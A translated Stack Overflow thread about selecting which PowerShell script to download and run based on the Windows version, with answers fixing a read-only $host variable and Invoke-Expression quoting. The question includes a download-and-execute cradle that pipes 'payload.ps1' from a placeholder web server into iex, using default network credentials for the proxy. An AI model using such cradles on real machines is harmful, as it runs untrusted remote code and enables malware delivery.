【问题标题】:Trying to use Get-WmiObject to decide what script to call尝试使用 Get-WmiObject 来决定调用什么脚本
【发布时间】:2019-09-09 11:50:00
【问题描述】:
(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" 

获取 Wmi 对象 Win32 操作系统默认网络凭据

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
    if ($host -eq 'Microsoft Windows 7'){

    Write-Host "[+] Downloading windows 7 script"

        $URL = http://example.com
        IEX (New-Object Net.WebClient).DownloadString('$URL')}

elseif ($host -eq 'Microsoft Windows 8'){

        Write-Host "[+] Downloading windows 8 script"

等等……

【问题讨论】:

  • 要调试问题,请提供$host$host -eq 'Microsoft Windows 7' 的输出。您的示例代码中也没有 else 语句。

标签: powershell if-statement version statements elixir-iex


【解决方案1】:

这是因为$hostautomatic variable。我的系统上的分配失败:

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
Cannot overwrite variable Host because it is read-only or constant.
At line:1 char:1
+ $host = ((Get-WmiObject Win32_OperatingSystem).Caption)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Host:String) [], SessionStateUnauthorizedAccessException
    + FullyQualifiedErrorId : VariableNotWritable

尝试使用另一个变量名,例如$myHost

【讨论】:

    【解决方案2】:

    从提供的代码中,在 IEX 命令中,将双引号添加到环绕中,因为 Invoke-Expression 的 Command 参数接受字符串,并将单引号添加到 $URL 中。

        $URL = "http://example.com"
        IEX "(New-Object Net.WebClient).DownloadString('$URL')"
    

    另外,Invoke-Expression 不需要运行 Net.WebClient,你可以简化如下。

         $URL = "http://example.com"
        (New-Object Net.WebClient).DownloadString($URL)
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2021-12-21
      • 1970-01-01
      • 2021-08-22
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多